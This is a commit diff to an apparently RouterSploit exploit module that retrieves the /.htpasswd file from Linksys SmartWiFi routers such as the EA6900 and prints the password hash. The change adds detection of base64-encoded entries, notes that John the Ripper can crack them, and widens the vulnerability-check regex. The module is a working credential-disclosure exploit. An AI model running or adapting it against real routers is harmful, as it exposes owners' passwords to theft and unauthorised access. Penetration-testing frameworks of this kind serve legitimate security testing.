Update Linksys password disclosure to support base64 encoded .htaccess files, as…

Update Linksys password disclosure to support base64 encoded .htaccess files, as used by EA6900 version 1.1.42.161129 (#744)

routersploit/modules/exploits/routers/linksys/smartwifi_password_disclosure.py

@@ -47,20 +47,25 @@ class Exploit(HTTPClient):
                 print_error("Exploit failed - connection error")
                 return
 
-            print_info("Unix crypt hash: $id$salt$hashed")  # See more at http://man7.org/linux/man-pages/man3/crypt.3.html
+            if (response.text.find('$') != -1):
+                print_info("Likely Unix crypt hash: $id$salt$hashed")  # See more at http://man7.org/linux/man-pages/man3/crypt.3.html
+            else:
+                print_info("Likely base64 encoded .htaccess") # John understands this natively
+                
             print_success("Hash found:", response.text)
         else:
             print_error("Exploit failed - target seems to be not vulnerable")
 
     @mute
     def check(self):
+
         response = self.http_request(
             method="GET",
             path="/.htpasswd"
         )
 
         if response is not None and response.status_code == 200:
-            res = re.findall(r"^([a-zA-Z0-9]+:\$[0-9]\$)", response.text)
+            res = re.findall(r"^([a-zA-Z0-9]+:\S+)", response.text)
             if len(res):
                 return True